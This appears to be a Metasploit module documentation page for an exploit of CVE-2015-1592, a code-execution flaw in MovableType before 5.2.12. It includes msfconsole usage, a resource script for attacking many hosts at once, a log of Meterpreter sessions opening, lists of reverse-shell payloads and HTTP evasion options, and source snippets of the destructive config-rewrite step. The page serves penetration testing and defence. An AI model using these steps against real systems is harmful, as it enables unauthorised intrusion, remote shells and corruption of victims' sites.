SixApart MovableType Storable Perl Code Execution - Metasploit
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Module Overview
Name: SixApart MovableType Storable Perl Code Execution
Module: exploit/unix/webapp/sixapart_movabletype_storable_exec
Source code: modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb
Disclosure date: 2015-02-11
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2015-1592
This module exploits a serialization flaw in MovableType before 5.2.12 to execute arbitrary code. The default nondestructive mode depends on the target server having the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths. The destructive mode of operation uses only required MovableType dependencies, but it will noticeably corrupt the MovableType installation.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Using sixapart_movabletype_storable_exec against a single host
Normally, you can use exploit/unix/webapp/sixapart_movabletype_storable_exec this way:
msf > use exploit/unix/webapp/sixapart_movabletype_storable_exec
msf exploit(sixapart_movabletype_storable_exec) > show targets
... a list of targets ...
msf exploit(sixapart_movabletype_storable_exec) > set TARGET target-id
msf exploit(sixapart_movabletype_storable_exec) > show options
... show and set options ...
msf exploit(sixapart_movabletype_storable_exec) > exploit
Using sixapart_movabletype_storable_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your sixapart_movabletype_storable_exec will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/webapp/sixapart_movabletype_storable_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the unix/webapp/sixapart_movabletype_storable_exec exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/sixapart_movabletype_storable_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/webapp/sixapart_movabletype_storable_exec) > show info
Name: SixApart MovableType Storable Perl Code Execution
Module: exploit/unix/webapp/sixapart_movabletype_storable_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2015-02-11
Provided by:
John Lightsey
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DESTRUCTIVE false yes Use destructive attack method (more likely to succeed, but corrupts target system.)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /cgi-bin/mt/ yes MoveableType cgi-bin directory path
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Avoid: 1 characters
Description:
This module exploits a serialization flaw in MovableType before
5.2.12 to execute arbitrary code. The default nondestructive mode
depends on the target server having the Object::MultiType and
DateTime Perl modules installed in Perl's @INC paths. The
destructive mode of operation uses only required MovableType
dependencies, but it will noticeably corrupt the MovableType
installation.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-1592
https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html
Module Options
This is a complete list of options available in the unix/webapp/sixapart_movabletype_storable_exec exploit:
msf6 exploit(unix/webapp/sixapart_movabletype_storable_exec) > show options
Module options (exploit/unix/webapp/sixapart_movabletype_storable_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
DESTRUCTIVE false yes Use destructive attack method (more likely to succeed, but corrupts target system.)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /cgi-bin/mt/ yes MoveableType cgi-bin directory path
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/sixapart_movabletype_storable_exec exploit:
msf6 exploit(unix/webapp/sixapart_movabletype_storable_exec) > show advanced
Module advanced options (exploit/unix/webapp/sixapart_movabletype_storable_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/sixapart_movabletype_storable_exec module can exploit:
msf6 exploit(unix/webapp/sixapart_movabletype_storable_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/sixapart_movabletype_storable_exec exploit:
msf6 exploit(unix/webapp/sixapart_movabletype_storable_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
8 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
9 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
10 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
11 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
12 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
13 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
14 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
15 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
16 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
17 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
18 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
19 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
20 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
21 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
22 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
23 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
24 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
25 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
26 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
27 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
28 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
29 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
30 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
31 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
32 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
33 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
34 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
36 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
37 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
38 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
39 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
40 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
41 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
42 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
43 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
44 payload/generic/custom normal No Custom Payload
45 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
46 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/sixapart_movabletype_storable_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/sixapart_movabletype_storable_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed XXXCHECKXXX.pm load test
Here is a relevant code snippet related to the "Failed XXXCHECKXXX.pm load test" error message:
99: 'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
100: }
101: })
102:
103: unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
104: vprint_error("Failed XXXCHECKXXX.pm load test");
105: return Exploit::CheckCode::Safe
106: end
107: Exploit::CheckCode::Vulnerable
108: end
109:
Error sending unlink request
Here is a relevant code snippet related to the "Error sending unlink request" error message:
215: })
216:
217: if res && res.code == 200
218: print_good("Successfully sent unlink request")
219: else
220: fail_with(Failure::Unknown, "Error sending unlink request")
221: end
222:
223: # Now we rewrite mt-config.cgi to accept a payload
224:
225: print_status("Rewriting mt-config.cgi to accept the payload")
Error sending mt-config rewrite request
Here is a relevant code snippet related to the "Error sending mt-config rewrite request" error message:
238: })
239:
240: if res && res.code == 200
241: print_good("Successfully sent mt-config rewrite request")
242: else
243: fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
244: end
245:
246: # Finally send the payload
247:
248: print_status("Sending payload request")
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6644 Merged Pull Request: Preserve default types for datastore options
- #6526 Merged Pull Request: Peers for the peer god
- #5147 Merged Pull Request: Add exploit modules for MovableType CVE-2015-1592
References
- CVE-2015-1592
- https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html
See Also
Check also the following modules related to this module:
Related Nessus plugins:
Authors
- John Lightsey
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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